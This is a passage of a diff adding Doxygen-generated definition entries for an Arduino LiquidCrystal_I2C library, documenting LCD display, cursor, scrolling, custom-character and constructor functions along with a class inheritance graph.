<<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b07cf05e8e5e7c53654f5ca0cf58b89'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'display'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '166'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3b755c4b397b5985752be8c30ee1a9b5'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBlink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '174'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a878b36878fa8287093964eba83aace77'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'blink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '184'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aec8ffaa1e69c7a6e13ac0cfbc29151d9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noCursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Hides the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a194814f64dfa50a90e07e0fe0d361620'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'cursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '202'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a6f3a503055b3b8dcf0f61b2633c584f7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '211'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abfc44b294772f09020bfa32af8a79571'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '220'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a238e9f6476dc7df64af04eb6c87f6ac7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'leftToRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '233'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1ac014830eadc26bfd86308ea8734f4428'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'rightToLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '246'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abb3ed88d530f6283e6159b4973e7da9e'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'autoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '261'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a96035dde40efbf73390e00b5beb00231'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noAutoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '271'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a91cba8f93c692abcddf8bc3de58d2d3a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'createChar'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'location'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charmap'; + sec-mem-param-array = '[]'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '289'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location: LCD memory location of the character to create + (0 to 7) + @param charmap: the bitmap array representing each row of the character. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a48220450fd152b25994eb7d0ba340e8d'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setCursor'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'col'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'row'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '300'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col LCD column + @param row LCD row - line. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a31a0cb42497d83cdc9cb8000828f7190'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'command'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '314'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value Command value to send to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1acf471f0d9fea7ea3f5c3279519c8b32c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +size_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '327'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value Value to write to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a121fac7d916284d71af8b1fdd9ade2f6'; + sec-mem-virt = pure-virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '342'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'protected-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1aef093ba3f8e1016267b40ac235a0fa0f'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displayfunction'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '349'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ae47a0e2eff74431a39774b788d5761f4'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaycontrol'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '351'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a726b9a68d091dd8683a18e83f3a8fd3c'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaymode'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '353'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ac1374911fb145fea430c21092ada0c06'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_numlines'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '354'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + cp-fileline = '95'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 2; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 3; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 4; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal'; + cp-name = 'LiquidCrystal'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a49d2bd8d26031a1c83bcbd73978a1686'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '50'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a30e3d865c4b4a003a36cb45903f93644'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '53'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a0a0a8dfa7a2e775a031fd65f5c6366ec'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '62'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a23124e6dd5ac4a9b6147629b96e91953'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = 